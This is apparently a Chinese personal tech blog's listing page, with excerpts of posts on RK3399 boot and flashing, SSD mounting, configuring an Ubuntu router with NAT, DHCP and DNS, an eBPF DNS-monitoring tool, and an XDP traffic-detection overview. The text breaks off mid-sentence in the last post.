首页
相册
统计
留言
更多
网安工具
CTF工具
关于
Search
1
椭圆曲线加密算法原理(ECC)
5,324 阅读
2
SMBGhost(CVE-2020-0796)漏洞利用
4,302 阅读
3
关于gdb调试
4,065 阅读
4
Arduino使用CubeCell开发板进行LORA无线通信
3,852 阅读
5
Diffie-Hellman密钥协商算法
3,542 阅读
深度学习
技术随笔
应急响应
漏洞复现
流量分析
溯源
入侵检测
Linux
eBPF
服务配置
渗透测试
信息收集
横向攻击
密码学
web安全
CTF
登录
Search
标签搜索
单片机
密码学
Windows
BPF
Python
Linux
Mysql
APP开发
软考
Cobalt Strike
flutter
入侵检测
HSM's Blog
累计撰写
53
篇文章
累计收到
11
条评论
首页
栏目
深度学习
技术随笔
应急响应
漏洞复现
流量分析
溯源
入侵检测
Linux
eBPF
服务配置
渗透测试
信息收集
横向攻击
密码学
web安全
CTF
页面
相册
统计
留言
网安工具
CTF工具
关于
搜索到
14
篇与
的结果
2023-05-19
RK3399快速上手 | 03-RK3399启动流程分析
一、Rockchip处理器通用启动流程1. 启动路径Rockchip处理器有两种启动路径:(1)典型的基于rockchip miniloader的启动流程:使用 Rockchip提供的idbLoader,由 Rockchip rkbin 项目中提供的Rockchip ddr初始化bin文件和miniloader bin文件组成。(2)大多数SoC的通用启动流程:使用上游或者rockchip的U-Boot TPL/SPL启动,TPL用来初始化ddr,SPL 用来加载 trust固件(ATF/OP-TEE)。2. 启动阶段Rockchip处理器的启动流程分为不同的阶段:3. 启动流程分析Rockchip官方提供了一张非常经典的启动流程图,接下来配合第2小节的启动阶段,进行分析。3.1. 图示首先是图示,要看懂图里每个框是什么意思。蓝色的虚线框表示Rockchp提供的工具,比如loaderimage、trustmerge灰色的虚线框表示u-boot提供的工具,比如mkimage蓝色框表示Rockchip rkbin提供的固件绿色框表示ARM TF-A提供的固件紫色框表示u-boot提供的固件粉色框表示kernel提供的固件3.2. 第一阶段第一阶段是Boot Code,此代码已经固化在RK3399内部的Boot ROM中了,所以当板子上eMMC或者SD卡都没有固件时,就会进入MaskROM模式,可以通过USB烧写固件。Boot Code会加载第二阶段的固件(如果 SPL_BACK_TO_BROM 选项使能也会直接加载第三阶段)。3.3. 第二阶段第二阶段是loader1,在eMMC的扇区地址是0x40,两条启动路径的rockchip镜像都是idbloader.img,负责将第三阶段加载起来。在启动路径1中,idbloader.img主要是miniloader,由 Rockchip rkbin 项目中提供的Rockchip ddr初始化bin文件(rkxx_ddr_vx.xx.bin)和miniloader bin文件(rkxx_miniloader_vx.xx.bin)组成。在启动路径2中,idbloader.img主要是uboot的TPL和SPL,由 uboot编译出的u-boot-tpl.bin和u-boot-spl.bin组成。3.4. 第三阶段第三阶段是loader2,在eMMC的扇区地址是0x4000,启动路径1的rockchip镜像是uboot.img,启动路径2的rockchip镜像是u-boot.itb,是运行u-boot和tf-a的阶段。在启动路径1中分为两部分:uboot.img中主要包含u-boot.bin,而TF-A相关的固件打包为trust.img,放在trust分区(0x6000)。但在启动路径2中,u-boot.itb将uboot和tf-a放在一起,包含以下三部分的文件:来自uboot:u-boot-nodtb.bin、u-boot.dtb来自ATM TF-A:bl31_dram.bin、bl31_sram.bin、bl31_m0.bin来自rkbin:bl31.elf、bl32.bin、tee.bin3.5. 第四阶段第四阶段是uboot拉起来kernel开始运行,所以两条启动流程合并到一起,启动内核,rockchip镜像名称为boot.img,eMMC扇区地址在0x8000。3.6. 第五阶段第五阶段是kernel拉起来rootfs,rockchip镜像名称为rootfs.img,eMMC扇区地址在0x40000。完整的启动流程图如下:二、rockchip固件打包方法1. 启动流程需要的文件源码编译U-Boot: u-boot-spl.bin, u-boot.bin(may use u-boot-nodtb.bin and u-boot.dtb instead)kernel: kernel Image/zImage file, kernel dtbATF: bl31.elf;Rockchip提供的二进制固件(以rkxx_开头和版本信息_x.xx.bin结束):ddrusbplugminiloaderbl31/op-tee2. idbloader.img基于miniloader进行打包,适用于启动流程1:tools/mkimage -n rkxxxx -T rksd -d rkxx_ddr_vx.xx.bin idbloader.img cat rkxx_miniloader_vx.xx.bin >> idbloader.img基于uboot tpl/spl打包,适用于启动流程2:tools/mkimage -n rkxxxx -T rksd -d tpl/u-boot-tpl.bin idbloader.img cat spl/u-boot-spl.bin >> idbloader.img3. uboot.img基于miniloader启动,适用于启动流程1,打包为miniloader可加载的格式:tools/loaderimage --pack --uboot u-boot.bin uboot.img 0x200000基于spl启动,适用于启动流程2,直接使用uboot编译出即可,不用打包,但需要先将trust固件拷贝到uboot根目录中,并重命名为bl31.elf:make u-boot.itb CROSS_COMPILE=aarch64-linux-gnu-4. trust.img当使用Rockchip miniloader中的idbLoader时,需要使用Rockchip工具trustmerge将bl31.bin打包成miniloader可加载格式。tools/trustmerge RKTRUST_RKXXXXTRUST.ini三、烧写到启动介质1. 不同启动方式需要的镜像基于miniloader的启动流程idbloader.imguboot.imgtrust.imgboot.img or boot folder with Image, dtb and exitlinulx insiderootfs.img基于uboot SPL的启动流程idbloader.imgu-boot.itbboot.img or boot folder with Image, dtb and exitlinulx insiderootfs.img2. 烧写到eMMC首先让RK3399进入loader模式或者maskrom模式,然后使用 rkdeveloptool 烧写或者Android Tool烧写。(1)对eMMC烧写GPT分区rkdeveloptool db rkxx_loader_vx.xx.bin rkdeveloptool gpt parameter_gpt.txt(2)SPL启动方式烧写固件rkdeveloptool db rkxx_loader_vx.xx.bin rkdeveloptool wl 0x40 idbloader.img rkdeveloptool wl 0x4000 u-boot.itb rkdeveloptool wl 0x8000 boot.img rkdeveloptool wl 0x40000 rootfs.img rkdeveloptool rd(3)miniloader方式烧写固件rkdeveloptool db rkxx_loader_vx.xx.bin rkdeveloptool ul rkxx_loader_vx.xx.bin rkdeveloptool wl 0x4000 uboot.img rkdeveloptool wl 0x6000 trust.img rkdeveloptool wl 0x8000 boot.img rkdeveloptool wl 0x40000 rootfs.img rkdeveloptool rd2. 烧写到SD卡(1)SPL启动方式烧写固件dd if=idbloader.img of=sdb seek=64 dd if=u-boot.itb of=sdb seek=16384 dd if=boot.img of=sdb seek=32768 dd if=rootfs.img of=sdb seek=262144(2)miniloader方式烧写固件dd if=idbloader.img of=sdb seek=64 dd if=uboot.img of=sdb seek=16384 dd if=trust.img of=sdb seek=24576 dd if=boot.img of=sdb seek=32768 dd if=rootfs.img of=sdb seek=262144烧写完之后同步:sync参考链接https://opensource.rock-chips.com/wiki_Boot_option
2023年05月19日
361 阅读
0 评论
0 点赞
2023-05-13
开发板Nanopc T4添加固态硬盘并将硬盘挂载到/home
Nanopc T41、磁盘分区1.1 查看linux下的磁盘信息检测新硬盘的设备名sudo fdisk -l1.2 磁盘分区格式化新分区sudo fdisk /dev/nvme0n1按 d 删除现有分区。按 n 添加新分区,按回车默认就行。按 w 保存操作并退出。2、初始化文件系统将创建的新分区‘/dev/nvme0n1p1’初始化为一个ext4文件系统。sudo mkfs.ext4 /dev/nvme0n1p13、将新分区挂载到/home目录下3.1 将旧文件转移到新分区中分区新建完成后打开终端,在/mnt目录下新建/home目录把新分区挂载到/mnt/home目录,分区名/dev/nvme0n1p1根据实际情况调整。sudo mount /dev/nvme0n1p1 /mnt/home将/home目录的文件同步到/mnt/home使用rsync命令进行同步,等待命令行返回。sudo rsync -aXS /home/ /mnt/home-a --archive :归档模式,表示递归传输并保持文件属性。等同于"-rtopgDl"–xattrs, -X :保留扩展属性–relative, -R:使用相对路径名3.2 将新分区挂载到/home中挂载/mnt/home到/home重命名原来的/home,做完这一步,有些依赖于/home目录的软件将异常,不要慌,因为/home目录系统找不到了。sudo mv /home /home_old新建/home目录sudo mkdir /home卸载/dev/nvme0n1p1分区设备(根据实际情况卸载)。sudo umount /dev/nvme0n1p1挂载/dev/nvme0n1p1到/home,此时异常的软件应该恢复正常了。sudo mount /dev/nvme0n1p1 /home检查是否挂载成功df -h4、修改fstab文件实现开机自动挂载查看blkid,根据自己的实际分区输入sudo blkid | grep /dev/nvme0n1p1复制上一步输出中的UUID值(""中的字符串)备用。补充:查看UUID号需要root用户进行,不然可能查不到结果修改/etc/fstab文件sudo vim /etc/fstab说明:noatime - 不更新文件系统上 inode 访问记录,可以提升性能(参见 atime 参数)defaults - 使用文件系统的默认挂载参数,例如 ext4 的默认参数为:rw, suid, dev, exec, auto, nouser, async. dump 工具通过它决定何时作备份. dump 会检查其内容,并用数字来决定是否对这个文件系统进行备份。 允许的数字是 0 和 1 。0 表示忽略, 1 则进行备份。大部分的用户是没有安装 dump 的 ,对他们而言 应设为 0。 fsck 读取 的数值来决定需要检查的文件系统的检查顺序。允许的数字是0, 1, 和2。 根目录应当获得最高的优先权 1, 其它所有需要被检查的设备设置为 2. 0 表示设备不会被 fsck 所检查。修改为如下所示:UUID=e73351a1-47db-4c4e-9e1a-f3af0d4da53d /home ext4 defaults,noatime 0 2重启系统后无异常,删除/home_old(慎重操作)。sudo rm -rf /home_old
2023年05月13日
114 阅读
0 评论
1 点赞
2023-03-10
将Linux服务器配置成个性化路由器
背景产品:倍控G31操作系统:ubuntu server 22.10CPU:N5105网卡:2.5G x4目标eth0作为服务器的wan口连接校园网网线,eth1连接orangepi zero2开发板(通过桥接eth0来连接校园网)eth2和eth3作为lan口网卡信息如下:hsm@hsm:~$ lspci ... 02:00.0 Ethernet controller: Intel Corporation Ethernet Controller I225-V (rev 03) 03:00.0 Ethernet controller: Intel Corporation Ethernet Controller I225-V (rev 03) 04:00.0 Ethernet controller: Intel Corporation Ethernet Controller I225-V (rev 03) 05:00.0 Ethernet controller: Intel Corporation Ethernet Controller I225-V (rev 03)配置网卡1. 编辑00-installer-config.yaml配置文件cat /etc/netplan/00-installer-config.yaml 根据mac地址绑定网卡名称网络配置编辑如下所示:# This is the network config written by 'subiquity' network: ethernets: eth0: match: macaddress: 60:be:b4:05:a9:8f set-name: eth0 dhcp4: true eth1: match: macaddress: 60:be:b4:05:a9:a9 set-name: eth1 dhcp4: false eth2: match: macaddress: 60:be:b4:05:a9:b1 set-name: eth2 dhcp4: false eth3: dhcp4: false set-name: eth3 match: macaddress: 60:be:b4:05:a9:92 bridges: lan: interfaces: - eth2 - eth3 addresses: - 10.0.0.1/24 dhcp4: false wan: interfaces: - eth0 - eth1 dhcp4: true version: 22. 应用配置sudo netplan apply3. 查看结果结果如下:hsm@hsm:~$ ifconfig br0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 ... br1: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 ... eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 ether 60:be:b4:05:a9:8f txqueuelen 1000 (Ethernet) RX packets 217919 bytes 174217209 (174.2 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 249521 bytes 206758986 (206.7 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device memory 0x80200000-802fffff eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 ether 60:be:b4:05:a9:a9 txqueuelen 1000 (Ethernet) RX packets 26257 bytes 6262868 (6.2 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 29997 bytes 19036357 (19.0 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device memory 0x80000000-800fffff eth2: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 ether 60:be:b4:05:a9:b1 txqueuelen 1000 (Ethernet) RX packets 229963 bytes 201503638 (201.5 MB) RX errors 46 dropped 0 overruns 0 frame 46 TX packets 189546 bytes 155056575 (155.0 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 46 device memory 0x7fe00000-7fefffff eth3: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 ether 60:be:b4:05:a9:92 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device memory 0x7fc00000-7fcfffff lan: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 10.0.0.1 netmask 255.255.255.0 broadcast 10.0.0.255 inet6 fe80::d827:e5ff:fee9:5e85 prefixlen 64 scopeid 0x20<link> ether da:27:e5:e9:5e:85 txqueuelen 1000 (Ethernet) RX packets 146409 bytes 189301005 (189.3 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 133361 bytes 131254797 (131.2 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 ... wan: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 222.204.50.39 netmask 255.255.240.0 broadcast 222.204.63.255 inet6 2001:250:6c00:d00a:10f6:fff:fe77:4bd6 prefixlen 64 scopeid 0x0<global> inet6 fe80::10f6:fff:fe77:4bd6 prefixlen 64 scopeid 0x20<link> ether 12:f6:0f:77:4b:d6 txqueuelen 1000 (Ethernet) RX packets 132913 bytes 129674646 (129.6 MB) RX errors 0 dropped 306 overruns 0 frame 0 TX packets 144014 bytes 190852696 (190.8 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0配置NAT转发1. 开启端口转发sudo vim /etc/sysctl.conf 并取消下面这行的注释,开启端口转发功能:net.ipv4.ip_forward=1执行 sudo sysctl –p 令其立即生效。2. 配置转发策略sudo vim /etc/default/ufw 修改 DEFAULT_FORWARD_POLICY 为 ACCEPT :# Set the default forward policy to ACCEPT, DROP or REJECT. Please note that # if you change this you will most likely want to adjust your rules # DEFAULT_FORWARD_POLICY="DROP" DEFAULT_FORWARD_POLICY="ACCEPT"3. 添加转发规则编辑配置文件:sudo vim /etc/ufw/before.rules在 *filter :ufw-before-input - [0:0] 之前加入以下内容:*nat :POSTROUTING ACCEPT [0:0] #Forward traffic through wan1 - Change to match you out-interface -A POSTROUTING -s 10.0.0.0/24 -o wan -j MASQUERADE #don't delete the 'COMMIT' line or these nat table rules won't be processed COMMIT这个时候将笔记本通过网线连接到ubuntu服务器的lan口(eth2和eth3)是不会自动获取到IP地址的,可以手动配置IP,比如配置客户端IP为10.0.0.2/24。测试1. ping测试ping 10.0.0.1测试成功2. ssh连接ssh hsm@10.0.0.1可以看到连接成功。:::info如果ssh连接不上,首先检查:客户机检查22号端口是否开放服务器检查22号端口是否开发防火墙放行ssh服务:sudo ufw allow 22/tcp #允许22端口的TCPsshd服务是否运行成功3. 检查路由表route -n配置HDCP服务器1. 安装dhcp server程序sudo apt install isc-dhcp-server2. 配置dhcp默认绑定接口sudo vim /etc/default/isc-dhcp-server修改配置文件,使dhcp服务器在lan网卡生效:# Defaults for isc-dhcp-server (sourced by /etc/init.d/isc-dhcp-server) # Path to dhcpd's config file (default: /etc/dhcp/dhcpd.conf). #DHCPDv4_CONF=/etc/dhcp/dhcpd.conf #DHCPDv6_CONF=/etc/dhcp/dhcpd6.conf # Path to dhcpd's PID file (default: /var/run/dhcpd.pid). #DHCPDv4_PID=/var/run/dhcpd.pid #DHCPDv6_PID=/var/run/dhcpd6.pid # Additional options to start dhcpd with. # Don't use options -cf or -pf here; use DHCPD_CONF/ DHCPD_PID instead #OPTIONS="" # On what interfaces should the DHCP server (dhcpd) serve DHCP requests? # Separate multiple interfaces with spaces, e.g. "eth0 eth1". INTERFACESv4="lan" INTERFACESv6=""3. dhcp的配置sudo vim /etc/dhcp/dhcpd.conf其他配置参数不动,只需添加或修改下面的配置参数:option domain-name "hsm.cool"; option domain-name-servers ns1.hsm.cool; authoritative; subnet 10.0.0.0 netmask 255.255.255.0 { # specify gateway option routers 10.0.0.1; # specify subnet mask option subnet-mask 255.255.255.0; # specify the range of lease IP address range dynamic-bootp 10.0.0.200 10.0.0.254; }4. 重启dhcp server服务systemctl restart isc-dhcp-server配置DNS服务器1. 安装DNS服务器程序sudo apt install bind92. 配置dns服务器sudo vim /etc/bind/named.conf.options修改:options { directory "/var/cache/bind"; // If there is a firewall between you and nameservers you want // to talk to, you may need to fix the firewall to allow multiple // ports to talk. See http://www.kb.cert.org/vuls/id/800113 // If your ISP provided one or more IP addresses for stable // nameservers, you probably want to use them as forwarders. // Uncomment the following block, and insert the addresses replacing // the all-0's placeholder. forwarders { 210.35.240.2 114.114.114.114; 8.8.8.8; }; #dnssec-lookaside auto; listen-on-v6 { any; }; };3. 防火墙放行53号端口sudo ufw allow 534. 重启dns服务器sudo systemctl restart bind9.service总结本教程具有试验性质,有一些不稳定因素,主要问题就是i225-v网卡驱动在ubuntu 22.10上存在bug,(其实就是i225网卡的缺陷,intel lj!),如果想稳定使用,还是老老实实玩openwrt吧
2023年03月10日
730 阅读
0 评论
1 点赞
2023-02-23
基于eBPF的Linux主机行为监测工具
使用Go语言编写了一个基于eBPF的Linux僵尸内核探测工具,这个探测工具可以实现根据恶意域名溯源到主机上发起恶意请求的用户和线程等信息。eBPF是一种可以在 Linux 内核中运行用户编写的程序,不需要修改内核代码的技术,eBPF的流程主要为:编译 eBPF 源代码,eBPF 用户态程序加载eBPF字节码加载到内核,内核验证并运行 eBPF 程序,监控主机上运行的进程和触发eBPF程序执行。通过将用于监控的BPF代码attach到BPF的hook点,可以实现探测到主机的DNS、TCP,UDP和线程等的行为eBPF介绍eBPF(extended Berkeley Packet Filter)是一种可以在 Linux 内核中运行用户编写的程序,而不需要修改内核代码或加载内核模块的技术,简单说,eBPF 让 Linux 内核变得可编程化了。eBPF 是一个用 RISC 指令集设计的 VM,他可以通过运行 BPF 程序来跟踪内核函数、内存等。eBPF 程序直接在 Linux 内核中运行。这使他们可以轻松地跟踪操作系统子系统的几乎任何方面,包括 CPU 调度程序、网络、系统调用等。您可以通过 eBPF 程序查看和跟踪操作系统中发生的几乎所有事情。这使其成为在基于 Linux 的部署中设置全局和根深蒂固的监控的可行竞争者。使用BPF系统调用BPF程序流程图:工作流程:编译 eBPF 源代码(把C代码编译成eBPF字节码,本项目通过 go-bindata 库将 bpf 字节码文件内嵌到go文件中)eBPF 用户态程序加载eBPF字节码加载到内核(决定哪些内核区域(代码、内存)可以被这个程序访问)内核验证并运行 eBPF 程序(代码在 kernel/bpf/verifier.c)监控主机上运行的进程(通过 kprobe、tracepoint 来把这些代码插入到对应的位置)触发eBPF程序执行(触发程序后 bpf 程序代码会把数据写到他们自己的 ringbuffers 或者 key-value maps ,用户态读取这些 ringbuffers 或者 maps 来获取想要的数据。)基于eBPF的Linux僵尸主机行为监测工具具备DNS、TCP,UDP,Thread的Linux内核级僵尸主机监控工具项目结果:输出:请求DNS解析的域名、解析到的IP、用户ID、进程ID、执行的命令等eBPF DNS监控原理1. 在eBPF中创建三个map,分别为start,currres和eventsstruct addrinfo { int ai_flags; /* Input flags. */ int ai_family; /* Protocol family for socket. */ int ai_socktype; /* Socket type. */ int ai_protocol; /* Protocol for socket. */ u32 ai_addrlen; /* Length of socket address. */ // CHANGED from socklen_t struct sockaddr *ai_addr; /* Socket address for socket. */ char *ai_canonname; /* Canonical name for service location. */ struct addrinfo *ai_next; /* Pointer to next in list. */ }; struct val_t { u32 pid; char host[80]; } __attribute__((packed)); struct data_t { u32 pid; u32 uid; u32 af; u32 ip4addr; __int128 ip6addr; char host[80]; } __attribute__((packed)); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u32); __type(value, struct val_t); __uint(max_entries, 1024); } start SEC(".maps"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u32); __type(value, struct addrinfo **); __uint(max_entries, 1024); } currres SEC(".maps"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); } events SEC(".maps");2. hook uprobe/getaddrinfoSEC("uprobe/getaddrinfo") int getaddrinfo_entry(struct pt_regs *ctx) { if (!(ctx)->di) return 0; struct val_t val = {}; bpf_probe_read(&val.host, sizeof(val.host), (void *)PT_REGS_PARM1(ctx)); u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; val.pid = pid; struct addrinfo **res = (struct addrinfo **)(ctx)->cx; // 更新这两个map bpf_map_update_elem(&start, &pid, &val, BPF_ANY); bpf_map_update_elem(&currres, &pid, &res, BPF_ANY); return 0; }3. hook uretprobe/getaddrinfoSEC("uretprobe/getaddrinfo") int getaddrinfo_return(struct pt_regs *ctx) { struct val_t *valp; u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; valp = bpf_map_lookup_elem(&start, &pid); if (valp == 0) { return 0; // missed start } struct addrinfo ***res; res = bpf_map_lookup_elem(&currres, &pid); if (!res || !(*res)) { return 0; // missed entry } u32 uid = bpf_get_current_uid_gid(); struct addrinfo **resx; bpf_probe_read(&resx, sizeof(resx), (struct addrinfo **)res); struct addrinfo *resxx; bpf_probe_read(&resxx, sizeof(resxx), (struct addrinfo **)resx); for (int i = 0; i < 9; i++) // Limit max entries that are considered { struct data_t data = {}; bpf_probe_read(&data.host, sizeof(data.host), (void *)valp->host); bpf_probe_read(&data.af, sizeof(data.af), &resxx->ai_family); if (data.af == AF_INET) { struct sockaddr_in *daddr; bpf_probe_read(&daddr, sizeof(daddr), &resxx->ai_addr); bpf_probe_read(&data.ip4addr, sizeof(data.ip4addr), &daddr->sin_addr.s_addr); } else if (data.af == AF_INET6) { struct sockaddr_in6 *daddr6; bpf_probe_read(&daddr6, sizeof(daddr6), &resxx->ai_addr); bpf_probe_read(&data.ip6addr, sizeof(data.ip6addr), &daddr6->sin6_addr.in6_u.u6_addr32); } data.pid = valp->pid; data.uid = uid; bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &data, sizeof(data)); break; } bpf_map_delete_elem(&start, &pid); bpf_map_delete_elem(&currres, &pid); return 0; }
2023年02月23日
926 阅读
0 评论
1 点赞
2023-02-23
流量检测在安全设备上的实现-XDP
传统基础安全领域,在通用产品能力上,一般分为三大件:网络层的防DDoS、主机层的防入侵和应用层的防漏洞。除了防DDoS之外,其他两个领域也给流量分析应用留下足够的想象空间。网络流量分析既指特定用途的硬件设备(如绿盟的NTA),也指基于网络层的安全分析技术,在FW\IDS\IPS中很常见。相比于主机层、应用层是以日志、请求等为分析对象,流量分析面对的是更底层的网络数据包,所包含的信息元素更多,但是分析起来也更加生涩。流量分析已被应用于多个领域,如带宽资源的合理性管控、网络链路排障以及本文所要探索的安全攻防领域。工具网络流量一般都是传输的海量数据,可以旁路部署(如端口镜像、链路分光),也可以串行接入(如物理链路串联、BGP按需导流),无论是哪种模式都需要一个强大的计算后台来支撑,同时策略上结合实时+离线,达到对分析性能和覆盖功能的平衡。其中有几个关键组件:1. 高性能的网络IO无论是在业务服务器层还是机房出口层进行分析,都需要解决从网卡进行高速收包的问题。中断收包肯定是不能用的、协议栈肯定也是不能过的。常见的机制有Pcap(如网工必备应用tcpdump,但用作高性能收包现在已较少了)、Pfring(印象中是最早提出并实践了零拷贝Zero-Copy理念)、DPDK(Intel的解决方案,这几年使用非常流行),这些机制要么是基于linux内核的cBPF进行hook、要么是直接消除协议栈。而从3.17版本开始,内核引入了全新的eBPF(与老的cBPF相比,简直是鸟枪换炮,功能厉害得不行),由此诞生出了一个新的网络处理引擎XDP,近两年被业界颇为称道。与DPDK不同,XDP并不消除协议栈,而是工作在网卡收包与协议栈之间,甚至于是在内核分配skb之前。也就是经过XDP分析处理之后,数据包可以直接丢弃、直接发送,或者是继续送到协议栈处理。这对基于业务服务器层的卸载加速、流量管控、安全过滤有了更好的选择,目前国外大厂用的还比较多。2. 特征匹配引擎流量分析可以分为两种类型,一种是DFI(深度流检测)、一种是DPI(深度包检测),前者注重量的统计、后者注重内容的分析。而特征匹配是内容分析很重要的组成部分,虽然业界常说当前的攻防对抗已升级、传统基于黑特征的检测防御会悉数失效,但从实际现网来看,通过黑特征还是能解决很大一部分的通用性攻击威胁。传统的字符串匹配如KMP、Sunday和AC多模,正则匹配如Pcre、Re2和随DPDK广泛使用的Hyperscan。纯软件的方案毕竟会共消耗和共用机器CPU,因此也有基于硬件加速的方案,比如多插一张FPGA卡,用来专门做匹配查找计算;另外还有Mellonax BlueField直接在网卡上加一个处理芯片(智能网卡),做协议卸载和匹配加速。3. 流重组很多安全威胁都发生在TCP类的业务协议上(如Web漏洞、高危端口),黑客除了在业务处理逻辑层面对安全防护措施进行绕过,也会在更底层的网络传输进行尝试,比如lake2文章里所提到的一些思路。因此对于TCP的分段传输特性,流重组对提升安全对抗的检测覆盖能力起到重要作用。实际落地上,业界少有现成的开源方案,自研实现上需考虑对内存的合理高效使用、对算法的精心调优,而现网使用中,则需要平衡性能和功能,太考虑性能则某些场景覆盖不了、太考虑功能则会导致处理性能下降,需要根据具体业务场景来定。场景将流量分析应用于安全攻防领域,除了在网络层异常检测和拦截上的天然契合,对于主机安全、应用安全都能起到不错的能力补充增强。1. 网络层DDoS检测防护:目前应用最为成熟的领域,有兴趣使用英雄联盟、王者荣耀同款防护软件的同学可以去腾讯云T-SEC DDoS防护产品体验,这里就不再赘述。Web漏洞防护:基于机房出口的流量牵引,对业务接入成本最低,因为并不需要业务更改域名指向或者安装Agent插件。因此,在几年前,面对公有云业务的需求和场景,我们曾基于DDoS流量牵引回注整套体系实现了一套网络层WAF(具备流重组功能),提供给第三方客户使用。但后面随着使用场景的增多,这套方案的弊端也凸显,这个问题后面再说。XDP及相关技术简介传统的Linux内核网络协议栈由于更加注重通用性,其网络处理存在着固有的性能瓶颈,随着10G、25G、40G、100G甚至更高速率的网卡出现,这种性能瓶颈变得更加突出,传统内核网络协议栈已经难以满足高性能网络处理的要求。在人们想办法提升处理性能的同时,一批人抱着它不行就绕开它的思路,在2010年,开发出了DPDK内核旁路(Kernel Bypass)技术,并逐渐成为网络处理加速的一种成熟方案。然而这种方案也有自己的一些固有缺陷,且始终是独立于linux内核的,在2016年的Linux Netdev会议上,David S. Miller更是带领听众一起高呼“DPDK is not Linux”。同年,伴随着eBPF技术的成熟,Linux也终于合入了属于自己的网络处理高速公路——XDP。XDP全称eXpress Data Path,即快速数据路径,XDP是Linux网络处理流程中的一个eBPF钩子,能够挂载eBPF程序,它能够在网络数据包到达网卡驱动层时对其进行处理,具有非常优秀的数据面处理性能,打通了Linux网络处理的高速公路。网络栈中,内核收到网络包,最开始就会到达XDP的处理位置,之后才会进行其他的处理,所以XDP的性能很高。XDP在网络栈中有三个处理点(运行模式):offloaded模式( 卸载模式)的XDP:该模式会直接将XDP程序卸载到网卡上,对于支持的网卡,直接在网卡上运行XDP程序,从而彻底释放主机CPU资源,相较于原生模式,具有更高的性能。目前支持的网卡似乎只有Netronome智能网卡。native模式(原生模式)的XDP:在该模式下的XDP程序运行在网络驱动程序的早期路径,需要网卡驱动程序的支持,而10G及以上速率的大多数网卡基本都是支持的。对于支持的网卡驱动,可以在包到达内核后立刻进行处理generic模式(通用模式)的XDP:网卡和驱动不支持上述两种情况的XDP时,可以在此点进行处理。这个处理的位置相对靠后,在tc处理点之前,该模式下的XDP程序运行于驱动之后的位置,无需驱动支持,但性能较差,一般用于测试NIC设备:network interface controller,也就是网卡的意思。在XDP程序执行结束的时候,我们可以返回如下值,XDP会进行对应的操作:运行的XDP程序可以通过XDP动作码来指定驱动对网络数据包的后续动作:XDP_ABORTED意味着程序错误,会将数据包丢掉,与XDP_DROP不同之处在于XDP_ABORTED会用trace_xdp_exception记录错误行为。XDP_DROP会在“网卡驱动层”直接将该数据包丢掉,无需再进一步处理,也就是无需再耗费任何额外的资源。在收到DDoS攻击时,这种特性可以瓦解DDoS的根本目标——占满被攻击主机的CPU资源使得其他正常流量无法被处理,因为XDP丢包不会再动用额外的CPU资源。XDP_PASS会将该数据包继续送往内核的网络协议栈,和传统的处理方式一致。这也使得XDP可以在有需要的时候方便地使用传统的内核协议栈进行处理。XDP_TX会将包发送到TX队列中,将该数据包从同一块网卡返回。XDP_REDIRECT则是将数据包重定向到其他的网卡或CPU,结合AF_XDP可以将数据包直接送往用户空间。或者通过AF_XDP这个特殊的socket转发给用户空间的上层应用程序以上几种XDP动作码的组合,带来了多种应用可能。需要注意的是,由于XDP点位于tc之前,在使用XDP进行传递时,如果TX处理性能低于RX,会造成包丢失。上述提到的eBPF则是起源更早的一种技术:1992年,BPF第一次在Berkeley实验室被提出,从名字可以看出来,最初BPF的功能就是用于包过滤的,我们平时所用的tcpdump就是基于eBPF实现的。2013年,BPF被加强,得到了eBPF,并在2014年正式并入Linux内核。通俗的来讲,eBPF提供了一种在各种内核和应用事件发生时运行一小段程序的机制。除去在XDP、TC等网络方面的应用,eBPF也用于性能监控、跟踪等多种场景。到了2018年,Linux在4.18版本中也开通了属于自己的直达用户空间的高速公路——AF_XDP,合入了Linux内核,后续将持续对这条高速公路进行支持。AF_XDP是一种协议族(Address family),指定socket通讯类型。通过XDP程序的redirect,我们可以将报文重定向到一块指定的用户态可读写的内存队列(UMEM)中,用户态的应用程序可以直接使用AF_XDP 